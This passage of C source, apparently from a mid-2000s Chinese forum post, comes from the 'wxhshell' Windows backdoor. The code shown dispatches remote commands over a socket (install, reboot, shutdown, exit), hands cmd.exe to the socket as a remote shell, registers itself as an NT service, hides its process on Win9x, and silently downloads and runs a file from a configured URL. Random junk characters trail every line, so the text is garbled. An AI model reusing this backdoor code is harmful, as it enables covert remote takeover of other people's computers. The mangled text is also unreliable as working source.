  9-Nq[i"  
  // 帮助 :vgh KI  
  case '?': { JK'_P}[]I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HLyFyv\  
    break; hAxuZb7 ?  
  } '@}?NV0  
  // 安装 -$]DO5fY  
  case 'i': { +(h6{e%)  
    if(Install()) 3Av(|<cR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2*7s 9g  
    else :.'T+LI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t$PnQ@xu  
    break; #K,qF*  
    } :v WYI I7  
  // 卸载 @D=2Er\  
  case 'r': { Gad2EEZ%0  
    if(Uninstall()) [&O:qaD^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YK=#$,6  
    else 65e Wu=T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ppo^qb  
    break; ,ov v  
    } (J;zkb  
  // 显示 wxhshell 所在路径 g]PLW3  
  case 'p': { g$^qQs)^N  
    char svExeFile[MAX_PATH]; )zc8bS  
    strcpy(svExeFile,"\n\r"); uB#B\i  
      strcat(svExeFile,ExeFile); ph&H*Mc  
        send(wsh,svExeFile,strlen(svExeFile),0); by:xD2 5  
    break; 5, "^"*@<  
    } M]/wei"X  
  // 重启 {;(g[H=q;  
  case 'b': { OTtanJ?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YI\Cs=T/  
    if(Boot(REBOOT)) c7TWAG_+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5P t}  
    else { [, szx1  
    closesocket(wsh); t[yD8h  
    ExitThread(0); ;x0KaFk  
    } ka9v2tE\  
    break; U=cWvr65  
    } )}9}"jrDlx  
  // 关机 3=L1HZH  
  case 'd': { F>_lp,G   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mX_Uhpw?t  
    if(Boot(SHUTDOWN)) ~9/nx|%D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t-|=weNy  
    else { 'JKvy(n>  
    closesocket(wsh); f}9`iN=k  
    ExitThread(0); qD>Y}Z !  
    } A`U2HC   
    break; \#oV<MR  
    } Ckl]fy@D}  
  // 获取shell rM~IF+f0XD  
  case 's': { wqoN@d  
    CmdShell(wsh); I:>d@e/;  
    closesocket(wsh); <x;[ H%  
    ExitThread(0); VA r?teY  
    break; "YvBb:Z>  
  } WxP4{T* <  
  // 退出 $6?KH7lA  
  case 'x': { jw%FZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #FDu 4xi  
    CloseIt(wsh); 1sJJ"dC.w  
    break; ?(L? X&)v  
    } Dlsa(  
  // 离开 x)sDf!d4bi  
  case 'q': { $bC!T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zmS-s\$,  
    closesocket(wsh); m?CjYqvf  
    WSACleanup(); $MEbePxe  
    exit(1); {]m e?I  
    break; -a^sX%|Bl  
        } =ir;m  
  } XV9'[V  
  } }sNZQ89V*v  
eDZ3SIZ  
  // 提示信息 X1~A "sW[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x=r6vOj  
} yaGVY*M0  
  } .BTT*vL-  
F"0jr7  
  return; DppvUiQB!a  
} `2~Ea_Z  
X OtS+p  
// shell模块句柄 (%IstR|u:  
int CmdShell(SOCKET sock) w`Aw+[24  
{ w8@|b}  
STARTUPINFO si; 'eXw`kw(  
ZeroMemory(&si,sizeof(si)); u= i^F|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b,V=B{(~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oDDH;Q"M(  
PROCESS_INFORMATION ProcessInfo; 5GpKX  
char cmdline[]="cmd"; ~SUl,Cs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^?0,G>I%-  
  return 0; IHMyP~{  
}  2x J5  
>\Pj(,'  
// 自身启动模式 ]6 7wk  
int StartFromService(void) yBjWPx?  
{ !7kOw65+0  
typedef struct *)SgdC/f  
{ n>+W]I&E  
  DWORD ExitStatus; `\uv+^x{  
  DWORD PebBaseAddress; pKlT.<X7  
  DWORD AffinityMask; S|h  m  
  DWORD BasePriority; z4UQ:z@  
  ULONG UniqueProcessId; vu \Dx9  
  ULONG InheritedFromUniqueProcessId; @G{DOxE*  
}   PROCESS_BASIC_INFORMATION; |#kf.kN  
gV>\lMc[-%  
PROCNTQSIP NtQueryInformationProcess; ~Q\ZDMTK  
+~AI(h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'bO? =+c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8LKZ3Y|  
!|QeYGnq6  
  HANDLE             hProcess; @Oay$gP{T  
  PROCESS_BASIC_INFORMATION pbi; C&"2`ll  
7Zn Q] ?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tzN;;h4C  
  if(NULL == hInst ) return 0; 3"%44'  
xeh|u"5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TzXl ?N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nr+1N83S}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |*a>6y  
^%@.Vvz<  
  if (!NtQueryInformationProcess) return 0;  ?wY.B  
gJv^v`X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )ciHY6  
  if(!hProcess) return 0; Oz7v hOU  
1 niTkop  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #-,`4x$m|  
GlZDuU  
  CloseHandle(hProcess); e28#Yh@U  
RuuU}XQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wfzb:Aig`  
if(hProcess==NULL) return 0; ]<= t  
j!H?dnE||  
HMODULE hMod; 0g)mf6}o  
char procName[255]; g?M69~G$:x  
unsigned long cbNeeded; r!uAofIi_  
+rX,Sl`/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U#4W"1~iX  
%;J`dM  
  CloseHandle(hProcess); DF =. G1  
W=w@SO_?wp  
if(strstr(procName,"services")) return 1; // 以服务启动 Zt=X %M|aw  
9q{dRS[A  
  return 0; // 注册表启动 |7fBiVo  
} p}z0(lQ*~  
u'> CU  
// 主模块 1 j8,Zrg1  
int StartWxhshell(LPSTR lpCmdLine) ,:,|A/U  
{ 9] \vw  
  SOCKET wsl; B!anY}/U  
BOOL val=TRUE; n|6yz[N  
  int port=0; K.7gd1I  
  struct sockaddr_in door; `9gx-')]\  
jm"xf7  
  if(wscfg.ws_autoins) Install(); _v,n~a}&  
g5[3[Z(.  
port=atoi(lpCmdLine); vt,X:3  
iiscm\  
if(port<=0) port=wscfg.ws_port; DdgFBO  
Q4*cL5j  
  WSADATA data; t|lv6-Hy9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p(>'4#|qy  
^j7pF.j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {BU,kjv1g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D bJ(N h  
  door.sin_family = AF_INET; z{x -Vfd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EK^2 2vi$  
  door.sin_port = htons(port); us+adS.l&  
X}Fv*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V ZGhF!To  
closesocket(wsl); 3 Gkw.  
return 1; bcfOp A  
} 10 ^=1@U  
/ [M~##%:  
  if(listen(wsl,2) == INVALID_SOCKET) { Rz]bCiD3 B  
closesocket(wsl); -9EbU7>!  
return 1; m|[ Hhw=f  
} |/$#G0X;H  
  Wxhshell(wsl); d8po`J#nb  
  WSACleanup(); ZW"J]"A  
$mlcaH  
return 0; #'P&L>6 ;  
^;d;b<  
} /_8V+@im  
G39t'^ZK*#  
// 以NT服务方式启动 v\vn}/>*d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8iRQPV-"_  
{ fkM4u<R^  
DWORD   status = 0; Tj:F Qnx  
  DWORD   specificError = 0xfffffff; vvCGzOv  
JAK*HA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zZ63 P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T5)?6i -N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W2^R$"U  
  serviceStatus.dwWin32ExitCode     = 0; "cx" d:  
  serviceStatus.dwServiceSpecificExitCode = 0; m" Gr pE3  
  serviceStatus.dwCheckPoint       = 0; :&MiO3#+  
  serviceStatus.dwWaitHint       = 0; 04:Dbt~=?p  
4Ki'r&L\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y\x<!_&D  
  if (hServiceStatusHandle==0) return; Cpl)byb  
qI}Zg)q]  
status = GetLastError(); -_+0[Nb.  
  if (status!=NO_ERROR) ORNE>6J H  
{ (TPD!=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2Xosj(H  
    serviceStatus.dwCheckPoint       = 0; Rk<:m+V=  
    serviceStatus.dwWaitHint       = 0; ( _2eiE71  
    serviceStatus.dwWin32ExitCode     = status; l:+1j{ d7  
    serviceStatus.dwServiceSpecificExitCode = specificError; _C?K;-v}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]@EjKgs  
    return; U,N4+F}FR  
  } [}D)73h`  
IftPN6(Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %?seX+ne  
  serviceStatus.dwCheckPoint       = 0; N ~Gh>{N  
  serviceStatus.dwWaitHint       = 0; EifYK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jp|wc,]!  
} @Hzsud  
'CvZiW[_r  
// 处理NT服务事件,比如:启动、停止 {ib`mC^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _B2t|uQ  
{ w jF\>  
switch(fdwControl) @)}U\=  
{ h!MT5B)r.  
case SERVICE_CONTROL_STOP: ETtR*5Y 5  
  serviceStatus.dwWin32ExitCode = 0; w[XW>4x K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <7XdT  
  serviceStatus.dwCheckPoint   = 0; b\?`721BG  
  serviceStatus.dwWaitHint     = 0; .*,ZcO  
  { -{?Rq'H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _v\QuI6  
  } ()iJvf>@  
  return; I('l )^m%  
case SERVICE_CONTROL_PAUSE: ]TQjk{X<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LxbVRw  
  break; (/^&3xs9  
case SERVICE_CONTROL_CONTINUE:  F#hM S<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _+U`afV  
  break; Pdv&X*KA  
case SERVICE_CONTROL_INTERROGATE: &8N\ 6K=  
  break; U!h!z`RU54  
}; 5g=" #  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V:lDR20*\  
} >v(Xc/oI  
^0 t`EZ$  
// 标准应用程序主函数 m$kmoY/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FUQT,7CA  
{ ` H"5nQRV  
NQb?&.C   
// 获取操作系统版本 8/=2N  
OsIsNt=GetOsVer(); L.5GX 29  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c;WS !.  
w v1R ]3}  
  // 从命令行安装 =y<Fz*aA  
  if(strpbrk(lpCmdLine,"iI")) Install(); !j(R _wOq  
_ &T$0SZco  
  // 下载执行文件 2iUF%>  
if(wscfg.ws_downexe) { @{bf]Oc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,yC~{ H  
  WinExec(wscfg.ws_filenam,SW_HIDE); F>&8b^v bn  
} Ruf*aF(  
_*+M'3&=  
if(!OsIsNt) { yO !*pC  
// 如果时win9x,隐藏进程并且设置为注册表启动 h0GXN\xI  
HideProc(); FIuKX"XR  
StartWxhshell(lpCmdLine); Gce![<|ph  
} ow&R~_  
else vt1!|2{ h  
  if(StartFromService()) d"V^^I)yx&  
  // 以服务方式启动 I;No++N0  
  StartServiceCtrlDispatcher(DispatchTable); 3[c54S+(U  
else ^Tl|v'   
  // 普通方式启动 %T&kK2d;  
  StartWxhshell(lpCmdLine); MT3UJ6~P  
rC'97`!K  
return 0; qU}[( 9~Ru  
}
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只看该作者 1 发表于: 2006-10-10
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